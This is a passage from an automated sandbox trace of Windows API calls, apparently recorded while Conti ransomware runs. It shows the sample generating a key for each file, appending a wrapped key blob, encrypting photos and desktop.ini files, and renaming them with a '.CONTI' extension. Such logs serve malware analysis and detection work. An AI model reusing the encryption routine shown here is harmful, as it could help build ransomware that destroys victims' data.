	[0145.145] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.145] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x154f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x154f0, lpOverlapped=0x0) returned 1
	[0145.146] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.146] WriteFile (in: hFile=0x44c, lpBuffer=0x65cee58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65cee58*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.146] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.146] CloseHandle (hObject=0x44c) returned 1
	[0145.146] GetProcessHeap () returned 0x1720000
	[0145.146] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.146] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp"
	[0145.146] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp.CONTI"
	[0145.146] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pebavq.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\PEBAVQ.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\pebavq.bmp.conti")) returned 1
	[0145.146] GetProcessHeap () returned 0x1720000
	[0145.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.146] CryptDestroyKey (hKey=0x17de790) returned 1
	[0145.146] GetProcessHeap () returned 0x1720000
	[0145.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0f8 | out: hHeap=0x1720000) returned 1
	[0145.147] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.147] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65d2bf8 | out: phKey=0x65d2bf8*=0x17dea90) returned 1
	[0145.147] CryptExportKey (in: hKey=0x17dea90, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2bfc, pdwDataLen=0x4fbf86c | out: pbData=0x65d2bfc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.147] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png" (normalized: "c:\\users\\fd1hvy\\pictures\\phwqykxm f.png")) returned 0x20
	[0145.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png" (normalized: "c:\\users\\fd1hvy\\pictures\\phwqykxm f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.148] GetLastError () returned 0x0
	[0145.148] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=13385) returned 1
	[0145.148] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3449
	[0145.148] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.148] SetEndOfFile (hFile=0x44c) returned 1
	[0145.148] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.148] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.148] WriteFile (in: hFile=0x44c, lpBuffer=0x65d2bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65d2bfc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.153] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.153] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x3449, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x3449, lpOverlapped=0x0) returned 1
	[0145.155] CryptEncrypt (in: hKey=0x17dea90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3449, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3450) returned 1
	[0145.155] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.155] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3450, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3450, lpOverlapped=0x0) returned 1
	[0145.155] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.155] WriteFile (in: hFile=0x44c, lpBuffer=0x65d2bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65d2bf0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.155] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.155] CloseHandle (hObject=0x44c) returned 1
	[0145.155] GetProcessHeap () returned 0x1720000
	[0145.155] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.156] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png") returned="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png"
	[0145.156] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png.CONTI"
	[0145.156] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png" (normalized: "c:\\users\\fd1hvy\\pictures\\phwqykxm f.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\PhwQykxm f.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\phwqykxm f.png.conti")) returned 1
	[0145.156] GetProcessHeap () returned 0x1720000
	[0145.156] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.156] CryptDestroyKey (hKey=0x17dea90) returned 1
	[0145.156] GetProcessHeap () returned 0x1720000
	[0145.156] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed60 | out: hHeap=0x1720000) returned 1
	[0145.156] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.156] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65d0530 | out: phKey=0x65d0530*=0x17de650) returned 1
	[0145.156] CryptExportKey (in: hKey=0x17de650, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0534, pdwDataLen=0x4fbf86c | out: pbData=0x65d0534*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.157] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini")) returned 0x6
	[0145.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.157] GetLastError () returned 0x0
	[0145.157] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=190) returned 1
	[0145.157] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbe
	[0145.157] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.158] SetEndOfFile (hFile=0x44c) returned 1
	[0145.162] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.162] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.162] WriteFile (in: hFile=0x44c, lpBuffer=0x65d0534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65d0534*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.165] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.165] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xbe, lpOverlapped=0x0) returned 1
	[0145.165] CryptEncrypt (in: hKey=0x17de650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xbe, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xc0) returned 1
	[0145.165] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.165] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xc0, lpOverlapped=0x0) returned 1
	[0145.165] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.165] WriteFile (in: hFile=0x44c, lpBuffer=0x65d0528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65d0528*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.165] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.165] CloseHandle (hObject=0x44c) returned 1
	[0145.165] GetProcessHeap () returned 0x1720000
	[0145.165] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.165] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini"
	[0145.165] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini.CONTI"
	[0145.165] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini.conti")) returned 1
	[0145.166] GetProcessHeap () returned 0x1720000
	[0145.166] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.166] CryptDestroyKey (hKey=0x17de650) returned 1
	[0145.166] GetProcessHeap () returned 0x1720000
	[0145.166] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65debc0 | out: hHeap=0x1720000) returned 1
	[0145.166] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.166] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65d2090 | out: phKey=0x65d2090*=0x17deb50) returned 1
	[0145.166] CryptExportKey (in: hKey=0x17deb50, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2094, pdwDataLen=0x4fbf86c | out: pbData=0x65d2094*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\uhda2gho2l.jpg")) returned 0x20
	[0145.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\uhda2gho2l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.167] GetLastError () returned 0x0
	[0145.167] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=25642) returned 1
	[0145.167] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x642a
	[0145.167] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.167] SetEndOfFile (hFile=0x44c) returned 1
	[0145.167] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.167] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.167] WriteFile (in: hFile=0x44c, lpBuffer=0x65d2094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65d2094*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.173] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.173] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x642a, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x642a, lpOverlapped=0x0) returned 1
	[0145.174] CryptEncrypt (in: hKey=0x17deb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x642a, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x6430) returned 1
	[0145.174] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.174] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x6430, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x6430, lpOverlapped=0x0) returned 1
	[0145.174] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.174] WriteFile (in: hFile=0x44c, lpBuffer=0x65d2088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65d2088*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.174] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.174] CloseHandle (hObject=0x44c) returned 1
	[0145.175] GetProcessHeap () returned 0x1720000
	[0145.175] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.175] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg"
	[0145.175] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg.CONTI"
	[0145.175] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\uhda2gho2l.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\uHdA2GHo2L.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\uhda2gho2l.jpg.conti")) returned 1
	[0145.175] GetProcessHeap () returned 0x1720000
	[0145.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.175] CryptDestroyKey (hKey=0x17deb50) returned 1
	[0145.175] GetProcessHeap () returned 0x1720000
	[0145.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf0d0 | out: hHeap=0x1720000) returned 1
	[0145.175] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.175] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65cf2f0 | out: phKey=0x65cf2f0*=0x17debd0) returned 1
	[0145.175] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf2f4, pdwDataLen=0x4fbf86c | out: pbData=0x65cf2f4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.176] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini")) returned 0x26
	[0145.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.177] GetLastError () returned 0x0
	[0145.177] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=282) returned 1
	[0145.177] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11a
	[0145.177] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.177] SetEndOfFile (hFile=0x44c) returned 1
	[0145.180] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.180] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.181] WriteFile (in: hFile=0x44c, lpBuffer=0x65cf2f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65cf2f4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0145.183] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.183] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x11a, lpOverlapped=0x0) returned 1
	[0145.183] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x11a, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x120) returned 1
	[0145.183] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.183] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x120, lpOverlapped=0x0) returned 1
	[0145.183] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.184] WriteFile (in: hFile=0x44c, lpBuffer=0x65cf2e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65cf2e8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0145.184] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.184] CloseHandle (hObject=0x44c) returned 1
	[0145.184] GetProcessHeap () returned 0x1720000
	[0145.184] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.184] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini") returned="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini"
	[0145.184] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini.CONTI"
	[0145.184] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Saved Games\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\saved games\\desktop.ini.conti")) returned 1
	[0145.184] GetProcessHeap () returned 0x1720000
	[0145.184] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.184] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0145.184] GetProcessHeap () returned 0x1720000
	[0145.184] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181def0 | out: hHeap=0x1720000) returned 1
	[0145.185] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0145.185] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65d1098 | out: phKey=0x65d1098*=0x17de610) returned 1
	[0145.185] CryptExportKey (in: hKey=0x17de610, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d109c, pdwDataLen=0x4fbf86c | out: pbData=0x65d109c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0145.186] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms")) returned 0x23
	[0145.187] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1
	[0145.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0145.188] GetLastError () returned 0x0
	[0145.188] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=248) returned 1
	[0145.188] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf8
